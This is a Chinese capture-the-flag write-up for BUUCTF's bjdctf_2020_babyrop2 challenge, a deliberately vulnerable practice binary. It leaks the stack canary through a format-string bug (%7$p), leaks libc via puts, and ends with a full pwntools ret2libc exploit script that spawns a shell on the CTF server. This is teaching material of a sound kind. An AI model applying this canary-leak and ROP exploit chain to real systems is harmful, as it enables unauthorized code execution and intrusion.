[buuctf]bjdctf_2020_babyrop2 1
首先查看一下保护措施

存在canary的保护机制
再用ida打开看一下
存在gift 和 vuln两个主要的函数

在gift里面可以输入一条长度为6的字符串,并进行打印,存在格式化字符串的漏洞,可以用来泄露canary的值

然后调试发现canary在输入的字符串的后的第一个位置,因为这里是64位程序,前6位用寄存器进行传参,所以canary在第7个参数的位置
所以输入字符串 %7$P
vuln函数

这里就可以在泄露canary的基础之上继续进行栈溢出
后面就是进行libc泄露了
点击查看代码
from pwn import *
from LibcSearcher.LibcSearcher import LibcSearcher
p = remote("node5.buuoj.cn", 26675)
elf = ELF('./babyrop2')
p.send(b'aa%7$p')
p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
print(hex(canary))
pop_rdi = 0x400993
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = elf.symbols['vuln']
payload = b'a' * (0x20 - 8) + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)+ p64(vuln_addr)
p.sendlineafter("story!\n", payload)
puts_address = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_address))
libc = LibcSearcher('puts', puts_address)
offset = puts_address - libc.dump('puts')
binsh = offset + libc.dump('str_bin_sh')
system = offset + libc.dump('system')
payload2 = b'a' * (0x20 - 8) + p64(canary) + p64(0) + p64(pop_rdi) + p64(binsh)+ p64(system)
p.sendline(payload2)
p.interactive()

浙公网安备 33010602011771号